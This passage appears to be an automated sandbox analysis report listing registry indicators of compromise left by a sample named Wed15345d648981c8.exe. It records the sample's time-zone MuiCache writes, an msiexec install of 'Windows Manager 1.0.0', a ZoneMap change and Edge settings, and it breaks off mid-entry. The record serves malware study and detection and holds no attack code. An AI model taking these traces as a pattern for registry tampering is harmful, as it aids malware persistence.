MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
msiexec.exeWed15345d648981c8.exesvchost.exedescription ioc process Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\16\52C64B7E msiexec.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" Wed15345d648981c8.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" Wed15345d648981c8.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" Wed15345d648981c8.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17 msiexec.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" Wed15345d648981c8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)" Wed15345d648981c8.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdge.exesvchost.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exemsiexec.exeMicrosoftEdgeCP.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{UC6ARB8C-DT23-S95F-ZI2V-R0SGP24E7AR8}\7289246C77593EBF svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\"" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "268435456" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\SourceList\Net msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0000000000000000 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = f51570f92bd4d701 MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Roaming\\AW Manager\\Windows Manager 1.0.0\\install\\97FDF62\\" msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{8C86E5CE-07F1-412B-B5CE-F3BD8181CD73} = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 5702def32bd4d701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000cc7054415e7c83fcbe65c26cd185d18d5491b08fd22a9eeb4b2a25c1e1c7d01a141b7c7c859d1fd320a234c55fb444ab4eba633b4d6f090961b5 MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = e7d55fee2bd4d701 MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) 